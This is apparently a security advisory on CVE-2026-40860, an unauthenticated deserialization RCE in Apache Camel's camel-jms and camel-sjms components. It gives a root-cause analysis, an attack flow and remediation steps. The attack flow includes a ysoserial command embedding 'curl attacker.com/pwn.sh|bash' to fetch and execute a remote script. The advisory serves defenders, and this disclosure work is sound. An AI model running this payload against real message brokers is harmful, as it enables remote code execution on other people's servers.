CVE-2026-40860: Apache Camel JMS Unsafe ObjectMessage Deserialization Enables Network RCE (CVSS 9.8)

Executive Summary

A critical unauthenticated remote code execution vulnerability (CVE-2026-40860, CVSS 9.8) has been disclosed affecting Apache Camel's JMS components — specifically camel-jms and camel-sjms. The JmsBinding.extractBodyFromJms() method and its equivalent in camel-sjms call javax.jms.ObjectMessage.getObject() to extract payload data from incoming JMS messages. This triggers Java deserialization of the message payload without applying any ObjectInputFilter, class allowlist, or class denylist.

An attacker who can publish a JMS ObjectMessage to a queue or topic consumed by an Apache Camel route can embed a malicious serialized Java gadget chain in the message payload, achieving arbitrary code execution on the Camel server when the message is processed.

Vulnerability Overview

Technical Analysis

Root Cause: Unsafe Java Deserialization

Java's javax.jms.ObjectMessage interface carries a serialized Java object as its payload. When a consumer calls getObject(), the JMS provider deserializes the payload using Java's native serialization mechanism. If no ObjectInputFilter (introduced in Java 9 via JEP 290) or class allowlist is configured, the deserialization process will instantiate any class present on the JVM classpath whose serialized form appears in the message.

Apache Camel's JmsBinding.extractBodyFromJms() in both camel-jms and camel-sjms calls:

// Vulnerable code pattern (simplified)
if (message instanceof ObjectMessage) {
    ObjectMessage objectMessage = (ObjectMessage) message;
    return objectMessage.getObject();  // Unchecked deserialization
}

No ObjectInputFilter is set on the deserialization stream. No class allowlist or denylist restricts which classes may be instantiated. This gives an attacker full control over the deserialization gadget chain.

Gadget Chain Exploitation

Java deserialization vulnerabilities are exploited using gadget chains — sequences of existing classes on the classpath whose interactions, when triggered by deserialization, result in attacker-controlled code execution. Common gadget libraries include:

Tools like ysoserial automate the generation of serialized payloads for these gadget chains.

Attack Flow

1. Attacker identifies an Apache Camel JMS consumer endpoint
   (JMS queue or topic consumed by a Camel route using camel-jms or camel-sjms)
 
2. Attacker gains access to the message broker
   (often unauthenticated, or via stolen broker credentials, or via open broker ports)
 
3. Attacker generates a malicious ObjectMessage payload:
   $ java -jar ysoserial.jar CommonsCollections6 "curl attacker.com/pwn.sh|bash" \
     > payload.ser
 
4. Attacker publishes an ObjectMessage containing the serialized gadget chain
   to the target queue/topic
 
5. Apache Camel consumes the message — JmsBinding.extractBodyFromJms() is called
   - ObjectMessage.getObject() triggers deserialization of the payload
   - Gadget chain executes: "curl attacker.com/pwn.sh | bash"
 
6. Attacker achieves arbitrary OS command execution as the Camel service user

Why Message Brokers Are Often Accessible

Apache Camel's primary use case is enterprise integration — connecting disparate systems via messaging middleware. In many deployments:

• JMS brokers (ActiveMQ, IBM MQ, RabbitMQ) are accessible from internal networks with minimal authentication
• Multi-tenant broker environments allow one tenant to publish to queues consumed by other services
• Cloud-hosted brokers (AWS SQS, Azure Service Bus) may be accessible to external parties
• Poorly configured broker ACLs allow any authenticated user to publish to any queue

Impact Assessment

Remediation

Step 1: Upgrade Apache Camel

Apply the patched version from the Apache advisory. The fix applies an ObjectInputFilter or equivalent class restriction to the ObjectMessage.getObject() deserialization path.

<!-- Maven — update to patched Camel release -->
<dependency>
  <groupId>org.apache.camel</groupId>
  <artifactId>camel-jms</artifactId>
  <version>PATCHED_VERSION</version>
</dependency>
<dependency>
  <groupId>org.apache.camel</groupId>
  <artifactId>camel-sjms</artifactId>
  <version>PATCHED_VERSION</version>
</dependency>

Step 2: Disable ObjectMessage Processing (If Not Required)

If your Camel routes do not require processing of JMS ObjectMessage types, disable this message type at the component level:

JmsConfiguration jmsConfig = new JmsConfiguration();
jmsConfig.setMessageConverter(new SimpleMessageConverter() {
    @Override
    public Object fromMessage(Message message) throws JMSException, MessageConversionException {
        if (message instanceof ObjectMessage) {
            throw new MessageConversionException("ObjectMessage not permitted");
        }
        return super.fromMessage(message);
    }
});

Step 3: Apply Java Serialization Filter (JVM-Level)

Configure a JVM-wide ObjectInputFilter as an additional defense layer:

# JVM startup flag — restrict deserialization to safe classes
-Djdk.serialFilter=java.base/**;!*

Or programmatically:

// Set a global serialization filter (Java 9+)
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
    "java.base/**;!org.apache.commons.collections.**;!*"
);
ObjectInputFilter.Config.setSerialFilter(filter);

Step 4: Harden Broker Access Controls

# ActiveMQ — restrict ObjectMessage production via authorization plugin
# In activemq.xml, configure authorizationPlugin:
# Deny write access to queues from untrusted sources
# Require authentication for all broker connections

Review broker ACLs to ensure only trusted services can publish to queues consumed by Camel.

Step 5: Audit for Compromise

# Search Camel and broker logs for ObjectMessage deliveries from unexpected sources
grep -i "objectmessage\|deserializ" /var/log/camel/*.log
 
# Check for unexpected child processes spawned by Camel's JVM
ps auxf | awk '/java/{found=1} found{print}' | head -40
 
# Review network connections from the Camel host
ss -tnp | grep java

Detection Indicators

Post-Remediation Checklist

1. Upgrade camel-jms and camel-sjms to the patched version
2. Disable ObjectMessage processing in routes that do not require it
3. Apply JVM-level ObjectInputFilter restricting allowed deserialization classes
4. Harden message broker authentication and authorization policies
5. Audit broker logs for ObjectMessage deliveries from untrusted sources
6. Inspect Camel host process trees and filesystem for indicators of compromise
7. Rotate all service account credentials and API keys accessible to the Camel process
8. Review Camel route configurations for unauthorized modifications
9. Deploy network monitoring to alert on anomalous outbound connections from Camel hosts

References

• NVD — CVE-2026-40860
• Apache Camel Security Advisory
• JEP 290 — Filter Incoming Serialization Data